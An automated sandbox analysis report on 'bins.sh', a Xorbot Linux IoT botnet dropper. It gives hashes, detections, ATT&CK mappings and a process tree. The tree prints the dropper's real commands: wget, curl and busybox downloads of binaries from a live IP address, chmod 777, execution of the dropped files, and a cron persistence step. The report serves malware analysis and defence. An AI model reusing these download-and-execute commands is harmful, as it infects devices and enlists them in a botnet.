xorbot | a6be12c3c8dd2355975f18dbeb450c1130df50f893548282b427c4933e1f15cf

Resubmissions

03/04/2025, 22:32

250403-2fxrbayjy3 10

03/04/2025, 22:30

250403-2fa8bayjx3 10

Analysis

max time kernel
299s
max time network
300s
platform
ubuntu-20.04_amd64
resource
ubuntu2004-amd64-20241127-en
resource tags

arch:amd64arch:i386image:ubuntu2004-amd64-20241127-enkernel:5.4.0-169-genericlocale:en-usos:ubuntu-20.04-amd64system
submitted
03/04/2025, 22:32

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General

Target

bins.sh
Size

10KB
MD5

2d3354e4454c0aa1442c15ae4db570d7
SHA1

fa41bc59a61d70fed29d83a9fadcaf5f29a0306c
SHA256

a6be12c3c8dd2355975f18dbeb450c1130df50f893548282b427c4933e1f15cf
SHA512

95586720bce8db9d47b64c0e4555ba8d6dbc2899295a18ef6cd7f80558ee39e4088f3b66a22e49846ab83dc5d6a5a07604f5b0ed412b9b40a3ff9867498d8e09
SSDEEP

192:vT3jmvfO3m3C3x3+3e35BNkJpg35J5B5uFpYb+2va224Gm6eQmp9lLWLqLzm+B+k:vT3jmvfO3m3C3x3+3e35BNkJpg3bvJb7

Score

10^/10

xorbot botnet defense_evasion discovery execution persistence privilege_escalation trojan

Malware Config

Signatures

Detects Xorbot 3 IoCs

botnet trojan

resource	yara_rule
behavioral7/files/fstream-1.dat	family_xorbot
behavioral7/files/fstream-3.dat	family_xorbot
behavioral7/files/fstream-5.dat	family_xorbot

Xorbot
Xorbot is a linux botnet and trojan targeting IoT devices.
botnet trojan xorbot
Xorbot family
xorbot

File and Directory Permissions Modification 1 TTPs 3 IoCs

Adversaries may modify file or directory permissions to evade defenses.

defense_evasion

Linux and Mac File and Directory Permissions Modification

T1222.002

pid	Process
1403	chmod
1416	chmod
1460	chmod

Executes dropped EXE 3 IoCs

ioc	pid	Process
/tmp/tCV5vO5tw9z8XJnNLCPzh9rWcP75X3gc4G	1404	bins.sh
/tmp/59fT4e3UEmL9oGFEi4nhEPDL9v4liwzVzv	1417	bins.sh
/tmp/l8bIo6MX0E2xzUa8GlxxB3QQT28nJjEe7E	1461	bins.sh

Renames itself 1 IoCs

pid	Process
1462	bins.sh

Creates/modifies Cron job 1 TTPs 1 IoCs

Cron allows running tasks on a schedule, and is commonly used for malware persistence.

execution persistence privilege_escalation

Cron

T1053.003

description	ioc	Process
File opened for modification	/var/spool/cron/crontabs/tmp.RXUpp5	crontab

Enumerates running processes
Discovers information about currently running processes on the system

Changes its process name 3 IoCs

description	ioc	pid	Process
Changes the process name, possibly in an attempt to hide itself	busybox	1402	busybox
Changes the process name, possibly in an attempt to hide itself	busybox	1415	busybox
Changes the process name, possibly in an attempt to hide itself	busybox	1459	busybox

Reads runtime system information 64 IoCs

Reads data from /proc virtual filesystem.

discovery

description	ioc	Process
File opened for reading	/proc/1/cmdline	bins.sh
File opened for reading	/proc/200/cmdline	bins.sh
File opened for reading	/proc/1095/cmdline	bins.sh
File opened for reading	/proc/1148/cmdline	bins.sh
File opened for reading	/proc/450/cmdline	bins.sh
File opened for reading	/proc/1097/cmdline	bins.sh
File opened for reading	/proc/177/cmdline	bins.sh
File opened for reading	/proc/1500/cmdline	bins.sh
File opened for reading	/proc/73/cmdline	bins.sh
File opened for reading	/proc/90/cmdline	bins.sh
File opened for reading	/proc/15/cmdline	bins.sh
File opened for reading	/proc/21/cmdline	bins.sh
File opened for reading	/proc/265/cmdline	bins.sh
File opened for reading	/proc/1178/cmdline	bins.sh
File opened for reading	/proc/1334/cmdline	bins.sh
File opened for reading	/proc/1474/cmdline	bins.sh
File opened for reading	/proc/75/cmdline	bins.sh
File opened for reading	/proc/76/cmdline	bins.sh
File opened for reading	/proc/477/cmdline	bins.sh
File opened for reading	/proc/1485/cmdline	bins.sh
File opened for reading	/proc/1525/cmdline	bins.sh
File opened for reading	/proc/7/cmdline	bins.sh
File opened for reading	/proc/166/cmdline	bins.sh
File opened for reading	/proc/442/cmdline	bins.sh
File opened for reading	/proc/443/cmdline	bins.sh
File opened for reading	/proc/754/cmdline	bins.sh
File opened for reading	/proc/929/cmdline	bins.sh
File opened for reading	/proc/1398/cmdline	bins.sh
File opened for reading	/proc/619/cmdline	bins.sh
File opened for reading	/proc/264/cmdline	bins.sh
File opened for reading	/proc/267/cmdline	bins.sh
File opened for reading	/proc/1331/cmdline	bins.sh
File opened for reading	/proc/1375/cmdline	bins.sh
File opened for reading	/proc/1478/cmdline	bins.sh
File opened for reading	/proc/72/cmdline	bins.sh
File opened for reading	/proc/573/cmdline	bins.sh
File opened for reading	/proc/668/cmdline	bins.sh
File opened for reading	/proc/793/cmdline	bins.sh
File opened for reading	/proc/1099/cmdline	bins.sh
File opened for reading	/proc/948/cmdline	bins.sh
File opened for reading	/proc/9/cmdline	bins.sh
File opened for reading	/proc/81/cmdline	bins.sh
File opened for reading	/proc/1337/cmdline	bins.sh
File opened for reading	/proc/1476/cmdline	bins.sh
File opened for reading	/proc/1328/cmdline	bins.sh
File opened for reading	/proc/1469/cmdline	bins.sh
File opened for reading	/proc/17/cmdline	bins.sh
File opened for reading	/proc/169/cmdline	bins.sh
File opened for reading	/proc/273/cmdline	bins.sh
File opened for reading	/proc/636/cmdline	bins.sh
File opened for reading	/proc/1000/cmdline	bins.sh
File opened for reading	/proc/663/cmdline	bins.sh
File opened for reading	/proc/170/cmdline	bins.sh
File opened for reading	/proc/171/cmdline	bins.sh
File opened for reading	/proc/563/cmdline	bins.sh
File opened for reading	/proc/963/cmdline	bins.sh
File opened for reading	/proc/1080/cmdline	bins.sh
File opened for reading	/proc/89/cmdline	bins.sh
File opened for reading	/proc/175/cmdline	bins.sh
File opened for reading	/proc/401/cmdline	bins.sh
File opened for reading	/proc/686/cmdline	bins.sh
File opened for reading	/proc/934/cmdline	bins.sh
File opened for reading	/proc/1010/cmdline	bins.sh
File opened for reading	/proc/1609/cmdline	bins.sh

Writes file to tmp directory 9 IoCs

Malware often drops required files in the /tmp directory.

description	ioc	Process
File opened for modification	/tmp/tCV5vO5tw9z8XJnNLCPzh9rWcP75X3gc4G	wget
File opened for modification	/tmp/tCV5vO5tw9z8XJnNLCPzh9rWcP75X3gc4G	busybox
File opened for modification	/tmp/59fT4e3UEmL9oGFEi4nhEPDL9v4liwzVzv	wget
File opened for modification	/tmp/59fT4e3UEmL9oGFEi4nhEPDL9v4liwzVzv	curl
File opened for modification	/tmp/l8bIo6MX0E2xzUa8GlxxB3QQT28nJjEe7E	busybox
File opened for modification	/tmp/tCV5vO5tw9z8XJnNLCPzh9rWcP75X3gc4G	curl
File opened for modification	/tmp/59fT4e3UEmL9oGFEi4nhEPDL9v4liwzVzv	busybox
File opened for modification	/tmp/l8bIo6MX0E2xzUa8GlxxB3QQT28nJjEe7E	wget
File opened for modification	/tmp/l8bIo6MX0E2xzUa8GlxxB3QQT28nJjEe7E	curl

/tmp/bins.sh
/tmp/bins.sh
1⤵
- Executes dropped EXE
- Renames itself
- Reads runtime system information
PID:1394
- /bin/rm
  /bin/rm bins.sh
  2⤵
  PID:1396
- /usr/bin/wget
  wget http://77.90.153.218/bins/tCV5vO5tw9z8XJnNLCPzh9rWcP75X3gc4G
  2⤵
  - Writes file to tmp directory
  PID:1397
- /usr/bin/curl
  curl -O http://77.90.153.218/bins/tCV5vO5tw9z8XJnNLCPzh9rWcP75X3gc4G
  2⤵
  - Writes file to tmp directory
  PID:1401
- /bin/busybox
  /bin/busybox wget http://77.90.153.218/bins/tCV5vO5tw9z8XJnNLCPzh9rWcP75X3gc4G
  2⤵
  - Changes its process name
  - Writes file to tmp directory
  PID:1402
- /usr/bin/chmod
  chmod 777 tCV5vO5tw9z8XJnNLCPzh9rWcP75X3gc4G
  2⤵
  - File and Directory Permissions Modification
  PID:1403
- /tmp/tCV5vO5tw9z8XJnNLCPzh9rWcP75X3gc4G
  ./tCV5vO5tw9z8XJnNLCPzh9rWcP75X3gc4G
  2⤵
  PID:1404
- /usr/bin/rm
  rm tCV5vO5tw9z8XJnNLCPzh9rWcP75X3gc4G
  2⤵
  PID:1406
- /usr/bin/wget
  wget http://77.90.153.218/bins/59fT4e3UEmL9oGFEi4nhEPDL9v4liwzVzv
  2⤵
  - Writes file to tmp directory
  PID:1407
- /usr/bin/curl
  curl -O http://77.90.153.218/bins/59fT4e3UEmL9oGFEi4nhEPDL9v4liwzVzv
  2⤵
  - Writes file to tmp directory
  PID:1414
- /bin/busybox
  /bin/busybox wget http://77.90.153.218/bins/59fT4e3UEmL9oGFEi4nhEPDL9v4liwzVzv
  2⤵
  - Changes its process name
  - Writes file to tmp directory
  PID:1415
- /usr/bin/chmod
  chmod 777 59fT4e3UEmL9oGFEi4nhEPDL9v4liwzVzv
  2⤵
  - File and Directory Permissions Modification
  PID:1416
- /tmp/59fT4e3UEmL9oGFEi4nhEPDL9v4liwzVzv
  ./59fT4e3UEmL9oGFEi4nhEPDL9v4liwzVzv
  2⤵
  PID:1417
- /usr/bin/rm
  rm 59fT4e3UEmL9oGFEi4nhEPDL9v4liwzVzv
  2⤵
  PID:1419
- /usr/bin/wget
  wget http://77.90.153.218/bins/l8bIo6MX0E2xzUa8GlxxB3QQT28nJjEe7E
  2⤵
  - Writes file to tmp directory
  PID:1420
- /usr/bin/curl
  curl -O http://77.90.153.218/bins/l8bIo6MX0E2xzUa8GlxxB3QQT28nJjEe7E
  2⤵
  - Writes file to tmp directory
  PID:1458
- /bin/busybox
  /bin/busybox wget http://77.90.153.218/bins/l8bIo6MX0E2xzUa8GlxxB3QQT28nJjEe7E
  2⤵
  - Changes its process name
  - Writes file to tmp directory
  PID:1459
- /usr/bin/chmod
  chmod 777 l8bIo6MX0E2xzUa8GlxxB3QQT28nJjEe7E
  2⤵
  - File and Directory Permissions Modification
  PID:1460
- /usr/bin/crontab
  crontab -l
  2⤵
  PID:1464
- /usr/bin/crontab
  crontab -
  2⤵
  - Creates/modifies Cron job
  PID:1466
- /usr/bin/rm
  rm l8bIo6MX0E2xzUa8GlxxB3QQT28nJjEe7E
  2⤵
  PID:1468
- /usr/bin/wget
  wget http://77.90.153.218/bins/1Url4Vmjm3jutDoL4IALrwVcTgwtmfdAki
  2⤵
  PID:1471

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Scheduled Task/Job

T1053

Cron

T1053.003

Persistence

Scheduled Task/Job

T1053

Cron

T1053.003

Privilege Escalation

Scheduled Task/Job

T1053

Cron

T1053.003

Defense Evasion

File and Directory Permissions Modification

T1222

Linux and Mac File and Directory Permissions Modification

T1222.002

Credential Access

Discovery

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

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Downloads

/tmp/59fT4e3UEmL9oGFEi4nhEPDL9v4liwzVzv

Filesize
117KB

MD5
849fa04ef88a8e8de32cb2e8538de5fe

SHA1
c768af29fe4b6695fff1541623e8bbd1c6f242f7

SHA256
8bc5e3bff5150738699927ca2b95f3e3bfd87aed44c30fc61fac788248528579

SHA512
2d8a8b2f04b494f95740b6f6315a71b40d9b2099922232791604b970a4533d1c51fa6deb6d2f3b4ce71b4795b842c1af75cd06981c81c94d4a87698be9d920cf

Download Submit
/tmp/l8bIo6MX0E2xzUa8GlxxB3QQT28nJjEe7E

Filesize
99KB

MD5
9438d9bc392bcf300a5583b6df5bc8f6

SHA1
375a6ae34b516f6f3eeea8030c4084f585017efa

SHA256
68e6282ed9046c9e22dbdf051dc03956803a46805f599e8cb9b52b993caa8f1e

SHA512
1f3e4219359a28c0f6373c0369da2b5dc0e89789afb89664627d8d9e37d4b72da36322b4015491d7daa03e46dff07d39f00dca18f274e9623dab0ff2d869c860

Download Submit
/tmp/tCV5vO5tw9z8XJnNLCPzh9rWcP75X3gc4G

Filesize
107KB

MD5
eb9c3a0de91fcf16ba17cb24608df68c

SHA1
09d95a7d70d5e115d103be51edff7c498d272fac

SHA256
dd01a1365a9f35501e09e0144ed1d4d8b00dcf20aa66cf6dc186e94d7dbe4b47

SHA512
9e1f3f88f82bb41c68d78b351c8dc8075522d6d42063f798b6ef38a491df7a3bab2c312d536fb0a6333e516d7dc4f5a58b80beb69422a04d1dbc61eaba346e27

Download Submit
/var/spool/cron/crontabs/tmp.RXUpp5

Filesize
210B

MD5
a98de0d4d58541673ba114e691e19231

SHA1
b1c3305f6af9c5a242fb071fd18450bbd2c77c07

SHA256
9aabe1ffd62e7b39aaf555cfadb19f5eb05a7d7b12bdb237195074366c7c467a

SHA512
989f7cb30e287bd27560184f94312d0f2c96a875d3f2192e8946c13f748a109c2880c7b6812eeeb42cfe317d054c4310bcce2547c1d5c48849cef7f04adf044b

Download Submit

Resubmissions

Analysis

Sharing

General

Malware Config

Signatures

Processes

Network

MITRE ATT&CK Enterprise v15

Replay Monitor

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Downloads